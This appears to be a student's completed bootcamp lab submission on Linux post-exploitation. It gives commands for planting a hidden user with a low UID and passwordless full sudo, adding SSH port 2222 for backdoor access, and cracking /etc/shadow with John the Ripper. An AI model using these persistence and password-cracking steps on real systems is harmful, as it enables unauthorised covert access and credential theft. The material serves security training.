

## Module 6 Challenge Submission File

### Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

#### Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
useradd sysd
```

or

```
useradd -M sysd
```

2. Give your secret user a password.

```
passwd sysd
```

```
@fri3nd
```

3. Give your secret user a system UID < 1000.

```
usermod -u 902 sysd
```

4. Give your secret user the same GID.

```
groupmod -g 902 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
visudo
```

```
sysd    ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that `sudo` access works without your password.

```
su sysd
```

To test `sudo` access without password requirements the following commands were run:

```
sudo -l  
sudo visudo  
sudo apt update
```

## Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
nano /etc/ssh/sshd_config
```

```
Add port 2222 below port 22  
Uncomment port 22  
Save and exit
```

## Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
sudo service ssh restart
```

```
sudo service ssh status
```

2. Exit the `root` account.

```
exit
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

Enter 'yes'

Enter sysd password - @fri3nd

4. Use `sudo` to switch to the root user.

```
sudo su
```

## Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
sudo john /etc/shadow
```
